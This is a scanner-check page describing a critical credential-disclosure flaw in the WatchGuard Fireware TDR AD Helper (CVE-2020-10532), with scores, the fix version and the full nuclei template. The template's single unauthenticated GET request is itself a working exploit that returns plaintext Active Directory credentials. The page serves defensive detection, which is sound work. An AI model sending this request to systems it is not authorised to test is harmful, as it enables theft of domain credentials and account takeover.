WatchGuard Fireware AD Helper Component - Credentials Disclosure

criticalseverity

10CVSS score

2.8%likelihood of exploitation, next 30 days

86%of all CVEs are less likely

Readycheck to confirm it

WatchGuard Fireware Threat Detection and Response (TDR) service contains a credential-disclosure vulnerability in the AD Helper component that allows unauthenticated attackers to gain Active Directory credentials for a Windows domain in plaintext.

Impact

Remote attackers can retrieve cleartext passwords, leading to potential account compromise and further system exploitation.

Fix

Update to version 5.8.5.10317 or later.

How to confirm it

Send: GET {{BaseURL}}/rest/domains/list?sortCol=fullyQualifiedName&sortDir=asc
Positive when: contains "\"fullyQualifiedName\"" and "\"logonDomain\"" and "\"username\"" and "\"password\"" AND status 200

Run it with nuclei: nuclei -id CVE-2020-10532 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-10532

info:
  name: WatchGuard Fireware AD Helper Component - Credentials Disclosure
  author: gy741
  severity: critical
  description: WatchGuard Fireware Threat Detection and Response (TDR) service contains a credential-disclosure vulnerability in the AD Helper component that allows unauthenticated attackers to gain Active Directory credentials for a Windows domain in plaintext.
  impact: |
    Remote attackers can retrieve cleartext passwords, leading to potential account compromise and further system exploitation.
  remediation: |
    Update to version 5.8.5.10317 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-10532
    - https://www.exploit-db.com/exploits/48203
    - https://www.watchguard.com/wgrd-blog/tdr-ad-helper-credential-disclosure-vulnerability
  classification:
    cve-id: CVE-2020-10532
    epss-score: 0.02762
    epss-percentile: 0.86395
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-288
  metadata:
    max-request: 1
  tags: cve,cve2020,watchguard,disclosure,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/rest/domains/list?sortCol=fullyQualifiedName&sortDir=asc"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"fullyQualifiedName"'
          - '"logonDomain"'
          - '"username"'
          - '"password"'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from